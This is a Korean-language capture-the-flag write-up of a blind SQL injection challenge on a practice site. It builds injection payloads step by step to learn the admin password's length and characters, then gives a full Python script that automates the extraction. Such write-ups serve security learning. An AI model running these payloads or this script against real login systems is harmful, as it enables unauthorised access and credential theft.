문제분석 & 풀이
로그인창이 보인다.
blind sql injection 문제인 것 같다.
guest / guest 로 로그인을 시도하면 "login success" 라는 메세지가 뜬다.
뜬금없이 성공한게 이상해서 id / pw 를 아무 값이나 넣어보니 이번에는 "login fail" 이라고 뜬다.
아마도 guest / guest 는 우연히 맞은 것 같다.
select * from [table] where id=$id and pw=$pw
로그인 쿼리를 위처럼 예측해볼 수 있다. 이를 토대로 인젝션을 시도해보자.
select * from [table] where id='guest' and pw='1'or'1'='1'
간단한 인젝션 쿼리를 만들 수 있다. where 문에서 or 기준으로 앞은 참이 아니더라도 뒷 부분 '1'='1' 은 참이기 때문에 쿼리는 참이 되고 guest 로 로그인 될 것이다.
[그림]과 같이 로그인을 시도했다.
결과는 "login success"가 뜰 것이라고 생각했지만 "wrong password" 라고 떴다...ㅠ
아까는 로그인을 실패했을때 "login fail" 이라고 떴지만 이번에는 "wrong password" 라고 떴다.
"wrong password", "login fail" 2가지 차이가 무엇일까?
오랜시간 삽질을 통해 차이를 알아냈다.
같이 알아보도록하자.
이번에는 pw에 참 쿼리가 아닌 쿼리를 입력했다.
select * from [table] where id='guest' and pw='1'or'1'='0'
결과로 "login fail"이 나온다.
여기서 알 수 있는 사실은 인젝션해서 성공하면 "wrong password"가 출력되고 실패하면 "login fail"이 뜬다는 것이다.
차이점을 이용하여 blind sql injection을 시도해 DB 데이터를 얻어보자.
어떤 정보를 획득할지 고민하던 중, admin 계정을 획득하는게 목적이 아닐까 생각했다.
생각을 해보면 "guest" 계정이 존재하니, "admin" 계정도 존재할 것 같다.
select * from [table] where id='guest' and pw='0' or id='admin' and length(pw)={i}%23
(i는 pw의 길이 , %23은 #을 의미한다.)
먼저 admin 계정 pw 길이부터 구하기로 했고 위와 같은 쿼리를 구성했다.
or 를 기준으로 앞은 무시하고 뒤만 보면 되는데 뒤쪽 의미는 id는 "admin" 이면서 pw 길이가 i 가 맞는지 확인하는 것이다.
추가로 설명하자면, or 가 and 보다 연산자 우선순위가 먼저라서 and 보다 or 기준으로 먼저 쪼개진다고 생각하면 편하다.
결과는 36자리가 나왔다.
예상대로 admin이라는 계정이 존재한다.
36자리 말고 5자리도 나올 수도 있는데, 그것은 guest의 pw다.
다음으로 pw를 구해보자.
select * from [table] where id='guest' and pw='0' or id='admin' and ascii(substr(pw,{i},1))={j}%23
( i는 pw의 인덱스 , j 는 i번째 인덱스의 값을 추정하는 변수 )
이번에는 ascii() , substr() 을 이용해서 pw를 1자리씩 구하는 쿼리를 구성했다.
pw가 출력된다.
admin 계정으로 로그인 해보자.
exploit
from requests import *
leng = 0
result = ''
count = 0
for i in range(40):
url = f'''https://webhacking.kr/challenge/bonus-1/index.php?id=guest&pw=0' or id='admin' and length(pw)={i}%23'''
response = get(url=url)
if response.text.find('wrong password') != -1:
print('pw 길이 :',i)
leng = i
for i in range(1,leng+1):
if count > 100:
print('query err')
break
for j in range(30,128):
url = f'''https://webhacking.kr/challenge/bonus-1/index.php?id=guest&pw=0' or id='admin' and ascii(substr(pw,{i},1))={j}%23'''
response = get(url=url)
count += 1
if response.text.find('wrong password') != -1:
result += chr(j)
count = 0
break
print('pw :',result)